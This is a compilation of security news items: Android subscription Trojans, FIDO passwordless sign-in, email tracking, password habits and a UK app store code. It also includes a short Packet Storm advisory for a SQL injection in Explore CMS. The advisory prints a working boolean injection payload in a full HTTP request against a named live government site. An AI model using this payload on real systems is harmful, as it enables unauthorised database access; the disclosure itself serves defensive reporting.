Some mobile apps are being weaponized with Trojans that secretly sign Android users up for paid subscription services.

Several Android mobile Trojans are circulating in the wild that surreptitiously sign users up for paid services and take a cut for the scammers from the money that is billed. Many of these are getting around Google Play's official app store security measures.

Researchers from Kaspersky who have been tracking these most recent so-called "fleeceware" threats for the past several months say the malware is often capable of bypassing bot detection mechanisms on sites for paid services, and can even subscribe unsuspecting mobile device users to the scammers' own non-existent services.

The malware is often hidden within otherwise benign mobile applications such as healthcare apps, photo editors, and popular games on Google's Play mobile app store and other stores. The weaponized apps keep resurfacing almost as quickly as they are detected and removed, Kaspersky said.

Many of the applications ask for permission to access the user's notifications and messages. If those permissions are granted, the malware then intercepts and hijacks messages containing confirmation codes for their subscription, therefore leaving the users unaware they had just been subscribed to a paid service.

In a report, Kaspersky highlights four of the most widely spread Trojans in this category that it has observed in recent months — Jocker, MobOk, GriftHorse.l, and Vesub. The vendor estimates a startling 70% of Android device users had encountered subscription Trojans such as these at some point.

**Four of the Worst**  
Kaspersky identifies MobOk as the most active of the four threats. The malware was first spotted within an infected app on Google Play, but more recently it has been seen getting distributed as a payload of Triada — another mobile Trojan often hidden within preinstalled system apps on some smartphones. Kaspersky says it has observed the malware on the APK Pure Android mobile app store, hidden inside what the vendor described as a widely used modification of WhatsApp Messenger.

Once installed on a system, MobOk works by opening a subscription page to a paid service in an invisible window. If the malware has been granted access to the user's notification service, it intercepts any confirmation code that the paid service might send to the device and uses that to confirm the subscription. One feature that sets MobOk apart from the other mobile Trojans is its ability to solve CAPTCHAs on subscription sites, Kaspersky says. A plurality of the MobOk infections that the vendor observed were in Russia, followed by India and Indonesia.

Jocker, meanwhile, is malware that Kaspersky recently found hidden within messaging apps, blood pressure monitoring software, document scanning apps, and other products on Google Play. Jocker is a long-known mobile threat that continuously changes up its tactics to continue to infiltrate the official app store.

In many cases scammers download legitimate versions of these apps from Google's app store, then insert Jocker code into it and re-upload them to the store under a different name, Kaspersky says. The malware was coded to remain dormant during Google's app vetting process but to become active when the application goes live. Like MobOk, Jocker too is designed to intercept text messages or notifications containing confirmation codes and using them to sign users up for paid subscription services without their knowledge.

The current version of the malware uses a staged download process — involving four files — to install the final component of the malware on end-user systems. It adopted the technique to try to avoid malware-detection mechanisms, Kaspersky notes. Researchers from the company observed the malware being used most frequently against Android users in Saudi Arabia, Poland, and Germany.

Vesub, meanwhile, is mobile malware that Android users can encounter on unofficial app stores. The malware is hidden within spoofed versions of popular game apps that actually contain no legitimate functionality. When installed, the malware straightaway attempts to start subscribing users to paid services, while all that a user sees is a window suggesting that the app is still loading. Like most subscription Trojans, Vesub works only if it has been granted permission to access text messages or notifications. Kaspersky found the malware to be predominant in Egypt, Thailand, and Malaysia.

And finally, GriftHorse.l is different from the other malware in that it subscribes users to the malware author's own paid services, such as apps that promise to take users on a weight-loss plan for a fee. Users who sign up for these plans often do so without realizing that they are signing up for a service with periodic payments and automatic billing, Kaspersky says.

Richard Melick, director of threat reporting at Zimperium, says malware such as these should not be considered a consumer-only threat. "Organizations of all sizes must start realizing that there is no such thing as a consumer-only threat in the world of BYOD," he said, in emailed comments. "Each time Jocker and other long-standing malware go through an update, they continue to put critical data, services, and attack surfaces at risk."

Security teams need to ensure they have the same kind of security architecture for mobile endpoints as they have for traditional devices.

Both Google and Apple have implemented numerous measures over the years to prevent scammers from uploading malware to their respective mobile app stores. While the measures have helped limit malicious apps to a certain extent, security vendors have continued to find malware on these stores on a regular basis. Just last month, for instance, Google scrambled to remove at least six applications masquerading as legitimate antivirus tools that were in reality being used to drop a banking Trojan called SharkBot. Check Point estimated the malware tools were downloaded more than 15,000 times before Google removed them from Google Play.

Jocker, Other Fleeceware Surges Back Into Google Play

Explore CMS v1.0 was discovered to contain a SQL injection vulnerability via a /page.php?id= request.

    # Exploit Title: explore CMS  - Boolean Based SQL Injection# Date: 19/03/2022# Exploit Author: Sajibe Kanti# Vendor Name : EXPLORE IT# Vendor Homepage: https://exploreit.com.bd# CVE: On Request# POC#SQL InjectionSQL injection is a web security vulnerability that allows an attackerto interfere with the queries that an application makes to itsdatabase.explore CMS is vulnerable to the SQL Injection in 'id' parameter ofthe 'page' page.#Steps to reproduceFollowing URL is vulnerable to SQL Injection in the 'id' field.GET /page.php?id=1%27%20OR%201%3d1%20OR%20%27ns%27%3d%27ns HTTP/1.1Host: www.gdc.gov.bdAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-us,en;q=0.5Cache-Control: no-cacheCookie: PHPSESSID=b4c39f2ff3b9470f39bc088ab9ba9320Referer: https://www.gdc.gov.bd/User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36HTTP/1.1 200 OKcontent-encoding:server: LiteSpeedConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/html; charset=UTF-8transfer-encoding: chunkeddate: Thu, 17 Mar 2022 07:27:21 GMTvary: Accept-Encoding10.3.34-MariaDBServer accepts the payload and the response get delayed by 7 seconds.#ImpactAn attcker can compromise the database of the application by manualmethod or by automated tools such as SQLmap.-- ThanksSajibe Kanti

CVE-2022-27412: Explore CMS 1.0 SQL Injection ≈ Packet Storm

This week on Lock and Code, we speak with Cindy Liebes about the financial and emotional damage caused by romance scams and how to spot them.
The post Recovering from romance scams with Cindy Liebes: Lock and Code S03E10 appeared first on Malwarebytes Labs.

Earlier this year, many members of the public were introduced to the facets of a long-ignored crime in cyberspace: The romance scam. A flashy documentary called The Tinder Swindler had premiered on Netflix, and in it, filmmakers documented the efforts of one man to manipulate several women into giving him tens of thousands of dollars after sometimes convincing them that he was their one true love.

Immediately after the documentary premiered, viewers judged the victims. Some viewers blamed the women in the documentary for falling for what looked, externally, like an obvious scam. Others asked how the women could be swept off their feet with so many red flags present? Others blamed the victims for not doing better research into the man, who had worked tirelessly to build fraudulent websites that claimed he was the son of a billionaire diamond miner.

But according to Cindy Liebes, Chief Cybersecurity Evangelist for Cybercrime Support Network, this public perception misses a lot, particularly in how skilled these scammers can be in their work.

> “These people are professional criminals… and I think a lot of times, for those who may say, ‘Well I would never fall for this’—they don’t realize how professional these people are.”
> 
> Cindy Liebes, Chief Cybersecurity Evangelist for Cybercrime Support Network

This week on the Lock and Code podcast with host David Ruiz, we speak with Liebes about the facts behind romance scams: How prevalent they are, the types of damage they cause beyond financial ruin, and how you can spot a romance scam as it is happening.

Tune in to hear all this and more on this week’s Lock and Code podcast by Malwarebytes Labs.

This video cannot be displayed because your _Functional Cookies_ are currently disabled.

To enable them, please visit our _privacy policy_ and search for the Cookies section. Select _“Click Here”_ to open the Privacy Preference Center and select _“Functional Cookies”_ in the menu. You can switch the tab back to _“Active”_ or disable by moving the tab to _“Inactive.”_ Click _“Save Settings.”_

You can also find us on Apple Podcasts, Spotify, and Google Podcasts, plus whatever preferred podcast platform you use.

_Show notes and credits:_

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)  
Licensed under Creative Commons: By Attribution 4.0 License  
http://creativecommons.org/licenses/by/4.0/  
Outro Music: “God God” by Wowa (unminus.com)

Recovering from romance scams with Cindy Liebes: Lock and Code S03E10

Three tech giants used World Password Day to announce their commitment to a passwordless future using FIDO Alliance standards.
The post Google, Apple, and Microsoft step hand in hand into a passwordless future appeared first on Malwarebytes Labs.

While we recently “celebrated” World Password Day, almost every security outlet keeps telling us that passwords alone are not enough.

In practice, in the last few years this has meant pairing passwords with something else, such as a one-time code from an app or an SMS message, in a scheme called two-factor authentication (2FA).

But while pairing passwords with a second factor is much better than using a password by itself, it is just a way of working around some very serious, inherent flaws in password authentication. Which begs the question: If passwords are such a problem, why use them at all?

Now Apple, Google and Microsoft have announced that you don’t have to.

The trio of tech giants all used World Password Day to declare increased support for FIDO Alliance standards like FIDO2, a globally-recognized standard for passwordless authentication.

According to the alliance:

> In a joint effort to make the web more secure and usable for all, Apple, Google and Microsoft today announced plans to expand support for a common passwordless sign-in standard created by the FIDO Alliance and the World Wide Web Consortium. The new capability will allow websites and apps to offer consistent, secure, and easy passwordless sign-ins to consumers across devices and platforms.

**Microsoft, Google, and Apple**

Last year, Microsoft announced that as of September 15, 2021 you can completely remove the password from your Microsoft account and use the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email to sign in to Microsoft apps and services.

On May 5, 2022, Google announced it will implement passwordless support in Android and Chrome, and Apple announced its support for new authentication capabilities enabled by the adoption of FIDO’s latest standard.

The expanded standards-based capabilities will give websites and apps the ability to offer an end-to-end passwordless option. Users will sign in through the same action that they take multiple times each day to unlock their devices, such as a simple verification of their fingerprint or face, or a device PIN.

With all three tech giants on board, we can expect passwordless FIDO sign-in across macOS and Safari; Android and Chrome; and Windows and Edge. This means that, for example, users will be able to sign in on a Google Chrome browser that’s running on Microsoft Windows, using a passkey on an Apple device.

**FIDO2**

Instead of using a password, which can be intercepted as it passes over the Internet, and has to be processed and stored by each service you use, FIDO2 uses public-key encryption. It performs the cryptographic operation that verifies who you are on a device you own, using a private key that never leaves your possession. This means that nothing of value is shared with or stored on the website or service you’re using, and the information sent back and forth during authentication is of no use to an attacker.

FIDO2 combines two standards: WebAuthn and CTAP. WebAuthn does the important job of setting out how web browsers authenticate to websites, but the real magic of FIDO2 is CTAP, the Client to Authenticator Protocol.

CTAP is what allows that crucial cryptographic operation to happen on a wide variety of devices (referred to as “roaming authenticators”), including hardware keys, phones, and laptops. These roaming authenticators are expected to have a mechanism to obtain a “user gesture” which authorises the cryptographic operation, such as a consent button, a password, a PIN, a fingerprint, or face recognition. And this is what allows you to approve your authentication to a website using your iPhone’s Touch ID or Windows Hello.

Devices that act as roaming authenticators can also communicate with other devices, so you can do things like signing in to websites you’re visiting on your laptop by using Touch ID on your iPhone or drawing a pattern on your Android tablet.

**Will it work?**

The idea of passwordless authentication is to create a login method that is secure and easy-to-use, and that eliminates the risks of phishing, password guessing, password reuse, and credential stuffing.

As with all security innovations, we don’t expect attackers to respond by giving up and going home, just to shift their attention to (hopefully) more difficult and expensive forms of attack.

When Microsoft announced in September that you no longer needed a password, we spoke to Per Thorsheim, one of the world’s leading experts on passwords. He had some major concerns about situations when people lose access to their choice of authenticator, and with that lose access to their Microsoft account.

> \[I am concerned about\] when people lose access to their choice of authenticator, and by that lose access to their Microsoft account. I’ve attempted account recovery with Microsoft before, and I know others who have tried and failed miserably. Account recovery is hard, usually to avoid making the process a prime target for hackers.

FIDO2 puts a heavy burden on the account recovery process. Will there be a backup method similar to a “forgot my password” procedure, or do I have to create a new account which can then be linked to my online persona? Either way, such a method could create create a backdoor for attackers to target instead of FIDO-protected authentication.

Passwordless authentication could also multiply the stress caused by a stolen or lost device. If an attacker can guess your PIN or pattern they have access to all of your accounts.

Fortunately, rate-limits on phones makes that very difficult. Even if you secure your device with a 4-digit PIN or a pattern, an attacker finding or stealing your device will have to be very lucky to guess it correctly before the device shuts them out altogether.

However, trusting someone with the access code to your phone will become the equivalent of handing them the key to your entire online life.

If the importance of device access increases, this could lead to more stringent authentication requirements on our pohnes. For example, PINs with 10 digits instead of four or six, or more complicated patterns. And perhaps we’ll say goodbye to default PINs as well.

Nevertheless, we look forward to the passwordless future, even if we may have to work out some details along the way. Passwords have outlived their use for important resources: Victims have been made despite doing everything right; and threat actors have made an industry out of phishing our passwords, keyphrases, and security questions, and from brute-force guessing our passwords.

It is time for something new and three tech giants working together with an established industry association on a passwordless future looks promising.

Stay safe, everyone!

Google, Apple, and Microsoft step hand in hand into a passwordless future

Apple, Google and Microsoft announced this week they will soon support an approach to authentication that avoids passwords altogether, and instead requires users to merely unlock their smartphones to sign in to websites or online services. Experts say the changes should help defeat many types of phishing attacks and ease the overall password burden on Internet users, but caution that a true passwordless future may still be years away for most websites.

**Apple**, **Google** and **Microsoft** announced this week they will soon support an approach to authentication that avoids passwords altogether, and instead requires users to merely unlock their smartphones to sign in to websites or online services. Experts say the changes should help defeat many types of phishing attacks and ease the overall password burden on Internet users, but caution that a true passwordless future may still be years away for most websites.

Image: Blog.google

The tech giants are part of an industry-led effort to replace passwords, which are easily forgotten, frequently stolen by malware and phishing schemes, or leaked and sold online in the wake of corporate data breaches.

Apple, Google and Microsoft are some of the more active contributors to a passwordless sign-in standard crafted by the FIDO (“Fast Identity Online”) Alliance and the World Wide Web Consortium (W3C), groups that have been working with hundreds of tech companies over the past decade to develop a new login standard that works the same way across multiple browsers and operating systems.

According to the FIDO Alliance, users will be able to sign in to websites through the same action that they take multiple times each day to unlock their devices — including a device PIN, or a biometric such as a fingerprint or face scan.

“This new approach protects against phishing and sign-in will be radically more secure when compared to passwords and legacy multi-factor technologies such as one-time passcodes sent over SMS,” the alliance wrote on May 5.

**Sampath Srinivas**, director of security authentication at Google and president of the FIDO Alliance, said that under the new system your phone will store a FIDO credential called a “passkey” which is used to unlock your online account.

“The passkey makes signing in far more secure, as it’s based on public key cryptography and is only shown to your online account when you unlock your phone,” Srinivas wrote. “To sign into a website on your computer, you’ll just need your phone nearby and you’ll simply be prompted to unlock it for access. Once you’ve done this, you won’t need your phone again and you can sign in by just unlocking your computer.”

As _ZDNet_ notes, Apple, Google and Microsoft already support these passwordless standards (e.g. “Sign in with Google”), but users need to sign in at every website to use the passwordless functionality. Under this new system, users will be able to automatically access their passkey on many of their devices — without having to re-enroll every account — and use their mobile device to sign into an app or website on a nearby device.

**Johannes Ullrich**, dean of research for the SANS Technology Institute, called the announcement “by far the most promising effort to solve the authentication challenge.”

“The most important part of this standard is that it will not require users to buy a new device, but instead they may use devices they already own and know how to use as authenticators,” Ullrich said.

**Steve Bellovin**, a computer science professor at Columbia University and an early internet researcher and pioneer, called the passwordless effort a “huge advance” in authentication, but said it will take a very long time for many websites to catch up.

Bellovin and others say one potentially tricky scenario in this new passwordless authentication scheme is what happens when someone loses their mobile device, or their phone breaks and they can’t recall their iCloud password.

“I worry about people who can’t afford an extra device, or can’t easily replace a broken or stolen device,” Bellovin said. “I worry about forgotten password recovery for cloud accounts.”

Google says that even if you lose your phone, “your passkeys will securely sync to your new phone from cloud backup, allowing you to pick up right where your old device left off.”

Apple and Microsoft likewise have cloud backup solutions that customers using those platforms could use to recover from a lost mobile device. But Bellovin said much depends on how securely such cloud systems are administered.

“How easy is it to add another device’s public key to an account, without authorization?” Bellovin wondered. “I think their protocols make it impossible, but others disagree.”

**Nicholas Weaver**, a lecturer at the computer science department at **University of California, Berkeley**, said websites still have to have some recovery mechanism for the “you lost your phone and your password” scenario, which he described as “a really hard problem to do securely and already one of the biggest weaknesses in our current system.”

“If you forget the password and lose your phone and can recover it, now this is a huge target for attackers,” Weaver said in an email. “If you forget the password and lose your phone and CAN’T, well, now you’ve lost your authorization token that is used for logging in. It is going to have to be the latter. Apple has the infrastructure in place to support it (iCloud keychain), but it is unclear if Google does.”

Even so, he said, the overall FIDO approach has been a great tool for improving both security and usability.

“It is a really, really good step forward, and I’m delighted to see this,” Weaver said. “Taking advantage of the phone’s strong authentication of the phone owner (if you have a decent passcode) is quite nice. And at least for the iPhone you can make this robust even to phone compromise, as it is the secure enclave that would handle this and the secure enclave doesn’t trust the host operating system.”

The tech giants said the new passwordless capabilities will be enabled across Apple, Google and Microsoft platforms “over the course of the coming year.” But experts said it will likely take several more years for smaller web destinations to adopt the technology and ditch passwords altogether.

Recent research shows far too many people still reuse or recycle passwords (modifying the same password slightly), which presents an account takeover risk when those credentials eventually get exposed in a data breach. A report in March from cybersecurity firm **SpyCloud** found 64 percent of users reuse passwords for multiple accounts, and that 70 percent of credentials compromised in previous breaches are still in use.

A March 2022 white paper on the FIDO approach is available here (PDF). A FAQ on it is here.

Your Phone May Soon Replace Many of Your Passwords

If you don’t like marketers (or anyone else) knowing when and where you read your email, Apple’s feature will help you reclaim some privacy.

Nothing makes you more paranoid about privacy than working in a marketing department. Trust me on this. For example, did you know that marketers track every time you open an email newsletter—and where you were when you did it?

Apple caused a small panic among marketers in September 2021 by effectively making this tracking impossible in the default Mail app on iPhone, iPad, and Mac. I, personally, switched to Apple Mail as soon as the feature was announced. You might feel the same way, but marketers feel as though they've lost a useful tool.

"If I start a conversation with somebody and they're not responding to me, I'm going to stop talking to them at some point," says Simon Poulton, vice president of digital intelligence at marketing agency Wpromote. "But if someone is nodding along, I'm going to keep talking."

Tracking email opens, to Poulton, is a way for marketers to see who is, and isn't, listening—and adjust their strategy accordingly.

Privacy advocates feel differently. Bill Budington, senior staff technologist at the Electronic Frontier Foundation, says tracking is bad for privacy, and he's pleased that “Apple Mail now provides tools to take your privacy back.”

Let’s talk more about what, exactly, this feature does—and what it means for you.

How Email Tracking Works (and How Apple Blocks It)

If you're really freaking old—36, say—you might recall some ’90s email clients couldn't open certain emails with formatting. You'd instead be prompted to open the email in your web browser. There's a reason for this.

Email dates back to the ’70s, when computers couldn't display much in the way of graphics. Because of this, email protocols are more or less designed for simple text messages with attachments—which works until you want to add things like colors and images. By the ’90s, a workaround showed up: adding HTML code to an email message that points to images hosted on servers.

I bring this history up only because it's what makes modern email tracking possible. Most email newsletters you get include an invisible “image,” typically a single white pixel, with a unique file name. The server keeps track of every time this “image” is opened and by which IP address. This quirk of internet history means that marketers can track exactly when you open an email and your IP address, which can be used to roughly work out your location.

So, how does Apple Mail stop this? By caching. Apple Mail downloads all images for all emails before you open them. Practically speaking, that means every message downloaded to Apple Mail is marked “read,” regardless of whether you open it. Apples also routes the download through two different proxies, meaning your precise location also can't be tracked.

Apple’s Been Adding Features Like This for a While

So did this catch marketers off guard? Kind of.

“The Apple Mail thing specifically kind of came out of left field,” Poulton tells me, “but the whole idea of the de-identification of users is something we've been planning on for a while. This is a multipronged attack from Apple.”

Apple Mail Now Blocks Email Tracking. Here’s What That Means

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between April 29 and May 6. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...


[[ This is only the beginning! Please visit the blog for the complete entry ]]

Threat Roundup for April 29 to May 6

For most of us, passwords are the most visible security control we deal with on a regular basis, but we are not very good at it.

Whether we as a whole are doing better or worse in terms of password security is still unclear, but one thing is certain: We are clearly overconfident in our perceptions about our security activities.  

With adversaries increasingly targeting passwords to break into online accounts or gain access to corporate networks, people are both more aware about password security yet not doing enough to secure their credentials. Two-thirds of respondents (66%) in a recent password security survey conducted by Ipsos on behalf of Google said they use completely random passwords with a mix of characters, but 65% also said they reuse passwords for different online accounts.

There is some indication that users are using technology to improve password security: Sixty-one percent of respondents said they sign into sites using another service (such as Apple ID or Google accounts), according to the Google/Ipsos survey, and 44% said they use a password manager service. Yet 63% said they track passwords by writing them down on paper or making a note on their mobile devices.   

**Who Has 2FA?  
**Two-factor authentication (2FA) is another head-scratcher. Almost three-quarters (73%) of respondents say they use 2FA at least some of the time, but the adoption numbers from individual services tell a different story. Just 2.5% of active Twitter accounts had at least one 2FA method enabled as of June 2021, according to the social media company’s transparency report. Only 16.5% of active GitHub users and 6.44% of npm users have enabled one or more forms of 2FA on their accounts, according to Microsoft-owned GitHub. 

Perhaps the figures indicating a high rate of adoption for multifactor authentication (MFA) are skewed by the gamers on platforms that offer incentives to enable them. In a 2019 study on adoption rates for 2FA, 56.7% of the respondents had a Blizzard account, of which 43.1% had activated 2FA authentication; 88.1% had a Steam account, of which 62.6% had activated 2FA; and 65.6% had a Guild Wars 2 account, of which 55% had activated 2FA. Compare that to 87.7% of respondents who had a Reddit account, but only 11.5% had activated 2FA.

There is a bit of a disconnect on the corporate side, too. In a recent study on identity management by ESG, 58% of organizations said they have implemented MFA, while 23% ranked MFA as the most effective identity and access management solution. Yet Microsoft said in its Cyber Signals report earlier this year that only 22% of all its Azure Active Directory customers use MFA.

In the same ESG report, 32% of organizations said they make MFA optional for employees, and 27% treat MFA as optional for third-party contractors and workers.

The post-mortem investigation of the ransomware incident at Colonial Pipeline found the attack succeeded because the compromised account did not have MFA enabled, says Bojan Simic, CEO and CTO of HYPR. In fact, while defense contractors should have also implemented MFA five years ago, many have not fully implemented it.

“MFA projects frequently exist on a planning chart only,” Simic says.

Passwords: Do Actions Speak Louder Than Words?

NCSC proposes new code of conduct for app stores

NCSC proposes new code of conduct for app stores

  

A report from the UK government has laid bare the risks of malicious mobile apps, as lawmakers call for tougher protections for consumers.

The report (PDF), published by the UK National Cyber Security Centre (NCSC), found that “people’s data and money are at risk because of fraudulent apps containing malicious malware created by cybercriminals or poorly developed apps which can be compromised by hackers exploiting weaknesses in software”.

The study, which conducted a review into the app store ecosystem from December 2020 to March 2022, detailed how 87% of UK citizens now own a smartphone, conveying a widespread attack surface.

Read more of the latest security news from the UK

“\[M\]alicious and poorly developed apps continue to be accessible to users, therefore it is evident that some developers are not following best practice when creating apps,” the NCSC claims.

“Additionally, prominent app store operators are not adequately signposting app requirements to developers and providing detailed feedback if an app or update is rejected.”

**New rules**

In response to the findings, the government is calling views from the tech industry on enhanced security and privacy requirements for firms running app stores and developers making apps.

Under new proposals, app stores for smartphones, game consoles, TVs and other smart devices could be asked to commit to a new code of practice setting out baseline security and privacy requirements, which the UK says “would be the first such measure in the world”.

RELATED UK government reveals plans to become ‘global cyber power’ in 2022

Developers and store operators making apps available to UK users would be covered including Apple, Google, Amazon, Huawei, Microsoft, and Samsung.

The proposed policy would require stores to have a vulnerability reporting process for each app available. They would also be required to share more security and privacy information in an accessible way, including giving consumers information on matters such as why an app would need access to users’ contacts and location.

NCSC technical director Ian Levy commented: “Our threat report shows there is more for app stores to do, with cybercriminals currently using weaknesses in app stores on all types of connected devices to cause harm.

“I support the proposed code of practice, which demonstrates the UK’s continued intent to fix systemic cybersecurity issues.”

**‘Crucial awareness’**

Filip Verloy, EMEA technical evangelist at Noname Security, commented: “These types of initiatives raise crucial awareness of the security issues that we currently face and provide a healthy and necessary debate on the subject. This should prove useful even if it only accomplishes just that.

“However, there are a few flaws to the measures proposed. Firstly, Apple has already made it a point of differentiation to prioritize privacy and security and perform extensive moderation in their app store versus competitors.

“Secondly, there is no such thing as 100% certainty about security when it comes to software, though laying out best practices and increasing scrutiny will certainly help weed out the worst offenders.”

YOU MAY ALSO LIKE UK government employees receive ‘billions’ of malicious emails per year – report

Tag

#apple